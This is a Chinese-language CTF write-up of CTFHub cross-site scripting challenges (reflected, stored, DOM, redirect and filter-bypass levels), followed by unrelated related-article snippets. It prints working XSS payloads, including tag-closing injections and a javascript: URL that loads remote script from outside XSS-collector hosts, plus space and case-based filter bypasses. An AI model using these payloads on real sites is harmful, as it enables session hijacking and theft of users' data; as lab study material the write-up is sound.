xss漏洞学习(题解)

1.简单知识点回顾

XSS允许恶意web用户将代码植入到提供给其它用户使用的页面中。

特点:能注入恶意的HTML/JavaScript代码到用户浏览器网址上,从而劫持会话
类型:

DOM型:属于反射型的一种,利用非法输入来闭合对应的html标签。数据流向是URL→浏览器
存储型:危害大。相关源代码存放于服务器,用户浏览该页面时触发代码执行。
反射型:需要攻击者提前构造一个恶意链接来诱使客户点击。

2.反射型xss

1)进入题目环境,在文本框随意输入,它都能在页面显示,说明可以通过该输入,改变页面内容。

2)尝试输入判断xss的语句试试  <script>alert("1")</script>

3)页面出现提示,得到一个url,复制后放到第二个文本框

4)返回successfully得提示,猜测它应该是在后台进行访问。然后便要用到xss平台了

5)打开xss平台后,注册登录,然后新建一个项目勾选基础默认板块

6)然后将xss平台给的代码复制到第一个输入框中进行注入

7)提交后,在第二个框中访问第一个框注入XSS脚本后的网址,

8)显示成功,然后将注入后的网址复制粘贴到send框提交,接着在xss平台,创建的项目处查看返回的后台信息

9)展开返回的后台信息即可看到flag

3.存储型xss

1)进入环境后还是同样的有一个输入框和一个提交框,输入框中可以输入你的名字并提交。第二个输入框是发送构造好的 XSS 链接给机器人模拟执行。

2)看着跟反射型差不多,既然叫存储型,估计关键信息应该也是在后套信息中了,先按着前面的步骤来试试,先编写一个xss的测试语句  :<script>alert("mzxf")</script>

3)出现回显,然后将该网址复制然后然后粘贴在下面进行提交、

4)一样的,提交成功,但是url头并没有变化,但是说明关键信息在后台里,还是跟前面那一样吧,需要使用xss平台来进行注入

5)复制xss平台注入代码到第一个输入口:

6)上传后将该网页地址复制粘贴到第二个提交文本框内进行提交,

7)页面显示提交正确,然后在新建项目中查看,便能找到flag

3.DOM反射

1)进入环境后基本页面跟前面两个反射都是一样的,估计和解题方法和反射型也差不多,还是需要使用xss platformxss platform,创建项目即可。但是是需要注意的是,输入框中有我们 可控的地方,所以后面构造就需要注意了

<script>$("#text")[0].innerHTML = 'CTFHub is very niubility';
</script>

CTFHub is very niubility 替换成以下内容

';</script></textarea>'"><script src=http://xsscom.com//IqT8eH></script>

也就是这里的注入语句没有闭合,需要修改xss平台给的注入语句,在前面加 个   ';</script></textarea>' "> 

给它构造闭合

..

2)然后将构造好的语句写入输入框,上传成功后再将当前页面地址复制到url处,提交成功在xss平台便看可以看到后台信息,然后找到flag

..

4.DOM跳转

1)进入题目环境,发现没有提交的窗口了

url这也只能传url头,不能随意输入

2)弄了半天,属实没思绪,一时间又陷入僵局,便去找 大佬的wp看了看,大佬是这样解读这题的

查看源码,这里有一个关键的地方存在xss漏洞

        这段代码的作用是从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL

        具体而言,它使用location.search获取查询字符串部分(例如:“?jumpto=http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/”),然后使用.split("=")将其拆分为参数名和参数值的数组。

        然后,它检查target[0].slice(1)是否等于"jumpto",这是因为target[0]包含"?“字符,使用.slice(1)去掉”?"。如果相等,就使用location.href将页面重定向到target[1],也就是参数值所指定的URL。

注意!当你将类似于 location.href = "javascript:alert('xss')" 这样的代码赋值给 location.href 时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。

3)因此,这里可以构造如下语句来执行js

http://challenge-5379cece37966ae8.sandbox.ctfhub.com:10800/?jumpto=javascript:alert(1)

4)上传成功,然后就需要构造能访问 xss平台连接的代码,

http://challenge-5379cece37966ae8.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//uj.ci/w7r")

按照大佬的说法,这里这段代码使用了 jQuery 的 $.getScript() 函数来异步加载并执行来自 xss平台 的 js 脚本,还有就是使用前提是要网站引用了jQuery。

jquery作用

访问和操作DOM元素

控制页面样式

对页面事件进行处理

扩展新的jQuery插件

与Ajax技术完美结合

jQuery能做的JavaScript也能做,但使用jQuery能大幅提高开发效率

jQuery和JavaScript之间的关系,可以理解为“成语”和“白话文”之间的关系。成语是对白话文的高度压缩,而jQuery也是对JavaScript的高度压缩库

具体请看:jQuery详解-CSDN博客

5)传入成功,然去xss平台找后台信息,拿到flag

5.过滤空格

1)进入环境,题目说是空格过滤,说明这里有空格绕过了

2)正常来,发现都没问题

3)后面也是一样,没啥问题,但是到最后去找后台信息就显示是啥都没有,需要我们在诸如语句中把空格用/**/代替,便可绕过

4)后台信息便能显示了

6.过滤关键词

1)打开题目环境,说是过滤关键字

2)看看源码有没有提示过滤啥,看了,明显是没提示

3)直接传入注入语句发现成功了

再传url头,发现也成功,xss平台也是直接找到flag

估计这里它过滤的可能是script,但是我的注入语句中是sCripT,相当于大写绕过了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/336857.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

胶原蛋白真的可以改善皮肤?

一、胶原蛋白与皮肤的关系 胶原蛋白&#xff0c;被誉为“骨中之骨&#xff0c;肤中之肤&#xff0c;肉中之肉”&#xff0c;是皮肤的重要组成部分。随着年龄的增长&#xff0c;人体内的胶原蛋白会逐渐流失&#xff0c;导致皮肤出现松弛、干燥、皱纹等问题。因此&#xff0c;补…

计算机tcp/ip网络通信过程

目录 &#xff08;1&#xff09;同一网段两台计算机通信过程 &#xff08;2&#xff09;不同网段的两台计算机通信过程 &#xff08;3&#xff09;目的主机收到数据包后的解包过程 &#xff08;1&#xff09;同一网段两台计算机通信过程 如果两台计算机在同一个局域网中的同…

便溏平衡的乐章:肾合指引出汗与便溏的微妙对话

平衡的乐章&#xff1a;肾合指引出汗与便溏的微妙对话 在人体的舞台上&#xff0c;汗水与大便扮演着不可或缺的角色。然而&#xff0c;当汗水如瀑布般倾泻&#xff0c;大便却变得稀软不成形&#xff0c;这背后或许隐藏着阳虚的密码。本文将带你探索这其中的奥秘&#xff0c;揭…

一个案例告诉你,MySQL如何查询今天、昨天、近7天、近30天、本月、上个月、本季度、上季度、本年、上一年数据

参考博客 mysql查询当天/昨天/近7天/近30天/本月/上个月/本季度/上季度/本年/上一年 数据 正文内容 创建测试案例&#xff08;也可直接使用附录MySQL脚本生成数据&#xff09; 1、新建测试表 CREATE TABLE example (id INT AUTO_INCREMENT PRIMARY KEY,date_column DATE,d…

C/C++开发,opencv-objdetect模块,CascadeClassifier人脸识别应用

目录 一、CascadeClassifier应用简介 1.1 objdetect模块 1.2 CascadeClassifier类 1.3 detectMultiScale函数详解 二、CascadeClassifier应用示例 2.1 模型及图片下载准备 2.2 程序代码 2.3 程序编译及运行 一、CascadeClassifier应用简介 1.1 objdetect模块 在OpenCV…

如何识别并选择正规、优质的外汇交易平台?

外汇市场的日益繁荣吸引了越来越多的投资者&#xff0c;但同时也带来了众多外汇平台的涌现。如何在这些平台中筛选出正规、可信的平台&#xff0c;成为了每位外汇交易者必须面对的首要问题。以下&#xff0c;我们将为您揭示如何鉴别外汇平台真伪的几个关键方法&#xff1a; 首先…

7个卖出信号出现,昂首资本立即盈利收场

在上篇文章中&#xff0c;我们和各位投资者讨论了如果使用匕首交易策略进行交易&#xff0c;但是如果只买进不卖出&#xff0c;是不是还是盈利不了&#xff1f;Anzo Capital昂首资本认为只有低买高卖才能盈利赚钱&#xff0c;只要发现盈利信号就要立即卖出盈利收场&#xff01;…

HTTP/超文本传输协议(Hypertext Transfer Protocol)及HTTP协议通信步骤介绍和请求、响应阶段详解;

目录 一、HTTP/超文本传输协议 特点和功能 请求-响应模型 版本和扩展 安全性和加密 二、HTTP协议通信步骤介绍 三、请求、响应阶段详解 HTTP请求 HTTP响应 示例 一、HTTP/超文本传输协议 HTTP/超文本传输协议&#xff08;Hypertext Transfer Protocol&#xff09;是…

Spring Cache自定义序列化解决乱码问题

Spring Cache数据缓存到 Redis中的 value是乱码问题&#xff08;包含日期格式转换&#xff09;&#xff0c;主要是因为序列化方式导致的。 Spring Cache使用 Redis缓存管理器时&#xff0c;默认 value使用的是 JDK序列化值的方式&#xff0c;所以导致缓存的 value乱码的问题。 …

Java八股文面试全套真题

Java八股文面试全套真题 一、Redis1.1、你在最近的项目中哪些场景使用了redis呢&#xff1f;1.2、缓存穿透1.3、布隆过滤器1.4、缓存击穿1.5、缓存雪崩1.6、redis做为缓存&#xff0c;mysql的数据如何与redis进行同步呢&#xff1f;&#xff08;双写一致性&#xff09;1.6.1、读…

nginx与nginx-rtmp-module安装

nginx与nginx-rtmp-module安装 画了好几天图&#xff0c;实在有些乏力&#xff0c;找点有意思的事情做做 觉得视频流传输挺有意思&#xff0c;B站找了些视频&#xff0c;但感觉有些大同小异&#xff0c;讲得不是很清楚 FFmpeg/RTMP/webRTC丨90分钟搞定直播逻辑-推流-流媒体服…

君子签打造“签+存+管”一体化签署平台,助推信创数字化改造

近年来&#xff0c;在国家信创战略的引导下&#xff0c;在建设数字中国、网络安全强国、推动产业升级等背景下&#xff0c;中国信创产业规模持续扩大&#xff0c;展现出前所未有的活力。根据艾媒咨询市场调研&#xff0c;2023年中国信创产业规模将达20961.9亿元&#xff0c;202…

怎么把图片大小调小?在线改图片大小的方法

怎么把比较大的图片压缩变小呢&#xff1f;在使用图片的时候&#xff0c;比较常见的一个问题就是图片太大导致无法正常上传&#xff0c;需要将图片处理到合适的大小之后&#xff0c;才可以正常在网上上传。现在一般调整图片大小多会通过使用在线改图片大小的在线工具来处理&…

信息素养大赛晋级复赛,你们都刷题库了吗?

2024年全国青少年信息素养大赛初赛成绩之前发布了&#xff0c;今天同学们可以查询是否晋级信息素养大赛复赛了&#xff0c;复赛应该会难度比较大&#xff0c;7月复赛&#xff0c;8月全国总决赛&#xff0c;据6547网题库获悉&#xff0c;今年初赛的人数近22万人。 查询方式&…

【面试干货】事务的并发问题(脏读、不可重复读、幻读)与解决策略

【面试干货】事务的并发问题&#xff08;脏读、不可重复读、幻读&#xff09;与解决策略 一、脏读&#xff08;Dirty Read&#xff09;二、不可重复读&#xff08;Non-repeatable Read&#xff09;三、幻读&#xff08;Phantom Read&#xff09;四、总结 &#x1f496;The Begi…

运维系列.Linux下的用户管理

运维系列 Linux下的用户管理 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite&#xff1a;http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress of this article:https://blog.csdn.net/qq_28550263/ar…

c# 输出二进制字符串

参考链接 C#二进制输出数据_c# 输出二进制 123.5的方法-CSDN博客https://blog.csdn.net/a497785609/article/details/4572112标准数字格式字符串 - .NET | Microsoft Learnhttps://learn.microsoft.com/zh-cn/dotnet/standard/base-types/standard-numeric-format-strings#BFo…

大规模团队的数据库开发,如何用OceanBase工具快速建立企业级账号体系

前言 为了让数据库开发的安全性与可靠性得以充分保障&#xff0c;数据库开发工具的管控能力显得尤为关键。构建一个健全的账号体系&#xff0c;能够协助开发团队实现对数据库开发工具的全方位管控&#xff0c;从而有效防范各类数据安全隐患&#xff0c;确保数据库开发的顺利进…

软件测试、测试模型、测试用例

软件开发的五个模型 瀑布模型&#xff08;Waterfall Model&#xff09; 瀑布模型是所有其他模型的基础框架&#xff0c;瀑布模型的每个阶段都只执行一次&#xff0c;因此是线性顺序进行的开发模式优点&#xff1a;强调开发的阶段性&#xff1b; 强调早期计划及需求调查&#…

01Linux以及操作系统概述

课程目标 1.了解现代操作系统的整体构成及发展历史 2.了解Linux操作系统及其分支版本 3.直观上理解服务器端与桌面端版本的区别 课程实验 1.通过对CentOS和Ubuntu的演示&#xff0c;直观理解Linux与Windows的异同 课堂引入 本章内容主要为大家详细讲解Linux操作系统(以下简…